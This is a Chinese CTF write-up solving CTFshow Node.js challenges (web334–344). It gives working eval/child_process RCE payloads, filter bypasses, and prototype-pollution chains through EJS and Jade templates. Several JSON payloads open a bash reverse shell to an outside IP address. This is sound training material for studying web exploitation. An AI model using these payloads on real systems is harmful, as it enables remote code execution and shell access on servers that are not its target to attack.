CTFSHOW-nodejs

文章发布时间:

最后更新时间:

  • web334. 开始nodejs
    题面一打开是一个登陆框,并且给了源码,进行一波代码审计
    第一题分析的细致一些,主逻辑应该是在login.js当中,开头导入了一个user模块,其中包含一个items,其中是一个很像用户名和密码的对象{username: 'CTFSHOW', password: '123456'}
    image.png{:height 90, :width 543}
    我们再看路由

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    router.post('/', function(req, res, next) {
    res.type('html');
    var flag='flag_here';
    var sess = req.session;
    var user = findUser(req.body.username, req.body.password);

    if(user){
    req.session.regenerate(function(err) {
    if(err){
    return res.json({ret_code: 2, ret_msg: '登录失败'});
    }

    req.session.loginUser = user.username;
    res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
    });
    }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
    }

    });

    ///////////////

    var findUser = function(name, password){
    return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
    });
    };

    findUser函数检验name是否不等于CTFSHOW且password等于123456,若成功则会返回登陆成功及flag

    实际上username是小写hhhh,那就直接登就完了
    
  • web335. 开始nodejs RCE
    题目提示在源代码中
    image.png
    eval可以推测应该是node版代码执行。
    在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function
    child_process.exec(): spawns a shell and runs a command within that shell, passing the stdout and stderr to a callback function when complete.
    child_process.execSync(): a synchronous version of child_process.exec() that will block the Node.js event loop
    1
    ?eval=require('child_process').execSync('ls')
  • web336. 开始nodejs
    和刚才题面一致,试一下上一题的payload
    回显tql,说明存在过滤
    一个细节是__filename可回显源码所在路径名
    __filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。
    然后利用fs模块的readFileSync即可读取文件内容Asynchronously reads the entire contents of a file.
    1
    2
    # __filename 回显 /app/routes/index.js
    require('fs').readFileSync('/app/routes/index.js')
    源码如下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    var express = require('express');
    var router = express.Router();

    /* GET home page. */
    router.get('/', function(req, res, next) {
    res.type('html');
    var evalstring = req.query.eval;
    if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){
    res.render('index',{ title: 'tql'});
    }else{
    res.render('index', { title: eval(evalstring) });
    }

    });

    module.exports = router;
    可以看到过滤了execload
    可以通过字符串拼接的方式来绕过
    1
    ?eval=require('child_process')['exe'+'cSync']('ls')
  • web337. 数组绕过
    直接给了源码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    var express = require('express');
    var router = express.Router();
    var crypto = require('crypto');

    function md5(s) {
    return crypto.createHash('md5')
    .update(s)
    .digest('hex');
    }

    /* GET home page. */
    router.get('/', function(req, res, next) {
    res.type('html');
    var flag='xxxxxxx';
    var a = req.query.a;
    var b = req.query.b;
    if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    res.end(flag);
    }else{
    res.render('index',{ msg: 'tql'});
    }

    });

    module.exports = router;
    这题主要判断点在a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
    思路也是跟PHP差不多的数组绕过
    image.png{:height 481, :width 448}
    这里其实是有点区别,不过意思就是输出一个与元素本身值无关的信息出去就行,比如上面这种形式对象的输出就是会显示其属性的类型而不是值
    1
    a[:]=1&b[:]=2
  • web338. 原型链污染
    题目给了源码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    /* GET home page.  */
    router.post('/', require('body-parser').json(),function(req, res, next) {
    res.type('html');
    var flag='flag_here';
    var secert = {};
    var sess = req.session;
    let user = {};
    utils.copy(user,req.body);
    if(secert.ctfshow==='36dboy'){
    res.end(flag);
    }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
    }


    });

    // utils.copy()
    function copy(object1, object2){
    for (let key in object2) {
    if (key in object2 && key in object1) {
    copy(object1[key], object2[key])
    } else {
    object1[key] = object2[key]
    }
    }
    }

    // app.js
    app.use(session({
    name: identityKey,
    secret: 'ctfshow_session_secret',
    store: new FileStore(),
    saveUninitialized: false,
    resave: false,
    cookie: {
    maxAge: 60 * 60 * 1000 // 有效期,单位是毫秒
    }
    }));
    我们可以看到,要想得到flag,需要让secret.ctfshow属性为36dboy,我们可控的是user的属性,其中唯一可以联系的就在这个copy函数当中,存在对象属性间的复制,这里就利用到了原型链污染漏洞
    我们的目标就是污染secert对象的ctfshow属性
    1
    {"__proto__": {"ctfshow": "36dboy"}}
  • web339.
    可以看到源码当中的变动
    1
    2
    3
    if(secert.ctfshow===flag){
    res.end(flag);
    }
    新增了一个api.js
    1
    2
    3
    4
    5
    router.post('/', require('body-parser').json(),function(req, res, next) {
    res.type('html');
    res.render('api', { query: Function(query)(query)});

    });
    这里的细节就是query没有被其他变量复制,且我们的copy还在运作,所以仍然可以污染到Object
    nodejs 没有require下引入模块
    1
    global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ 0>&1 \"')
    顺便补一下bash
    1
    2
    3
    4
    5
    6
    7
    bash -c 从字符串中读入命令
    bash -i,意为创建一个交互式的bash shell
    bash -i >& /dev/tcp/192.168.1.1/9090 0>&1
    /dev/tcp/192.168.1.1/9090,这是一个特殊文件,它会建立一个连接到192.168.1.1:9090的socket
    bash -i创建一个交互式的bash,&>将bash的标准输出重定向到/dev/tcp/192.168.1.1/9090的socket连接上,
    0>&1将标准输入重定向到标准输出,最终的结果就是标准输入也被重定向到了TCP连接中,
    因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互
    POC
    1
    {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.198.45/5000 0>&1\"')"}}
    之后访问/api 使得Function执行
  • web340. 原型链污染
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;
    };
    }
    utils.copy(user.userinfo,req.body);
    if(user.userinfo.isAdmin){
    res.end(flag);
    我们之前是直接复制到user当中,而修改后变成了user.userinfo 由于isAdmin已经被写,但是之前的query依旧可被污染,需要注意的是,这道题当中对象之间多了一层关系,我们想要污染到Object,需要两层__proto__
    POC
    id:: 636142ba-9e3e-4edd-b6c1-a1dace261858
    1
    {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.198.45/5000 0>&1\"')"}}}
  • web341. 原型链污染
    再次查看题面,可以看到不会再输出flag变量了
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    router.post('/', require('body-parser').json(),function(req, res, next) {
    res.type('html');
    var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;
    };
    };
    utils.copy(user.userinfo,req.body);
    if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});
    }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});
    }

    });
    同时index.js中也删去了对query的可利用函数
    那么原型链污染的利用点在哪里呢,在app.js中我们可以看到var ejs = require('ejs');
    这个模版引擎存在原型链污染RCE
    因为没有下载相关ejs库源代码,这里直接截一个sink点的图
    image.png{:height 353, :width 668}
    这里可以看到,opts.outputFunctionName成员属性在整个过程处于undefined的状态,在if条件句下会被拼接并在后续代码中执行。这里可以通过原型链污染漏洞进行属性污染,当然需要注意的是闭合前后两个拼接语句。
    1
    outputFunctionName: a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //
    结合本题,我们的污染执行点还是在utils.copy(user.userinfo,req.body);
    也就是进行两级原型链污染
    payload
    1
    2
    	{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1; global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.198.45/5000 0>&1\"'); var _tmp2"}}
    }
  • web342-343. 审计了1个小时发现的,此链目前网上未公开,难度稍大
    app.js中可以看到换了一套模版引擎 jade
    image.png{:height 147, :width 638}
    https://xz.aliyun.com/t/7025
    原型链污染的触发点还是在index.jsutils.copy(user.userinfo,req.body);
    POC
    1
    {"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/43.140.198.45/5000 0>&1\"'))"}}
  • web344.
    题面给了hint
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    router.get('/', function(req, res, next) {
    res.type('html');
    var flag = 'flag_here';
    if(req.url.match(/8c|2c|\,/ig)){
    res.end('where is flag :)');
    }
    var query = JSON.parse(req.query.query);
    if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
    res.end(flag);
    }else{
    res.end('where is flag. :)');
    }

    });
    其中url中过滤了8c/2c/, 其中2c对应的就是,
    针对逗号的过滤可以用&绕过
    nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。
    payload
    1
    /?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
    这里有个细节就是c需要url编码,因为GET传参后,其前面的字符"经过编码会为%22与c连接会触发黑名单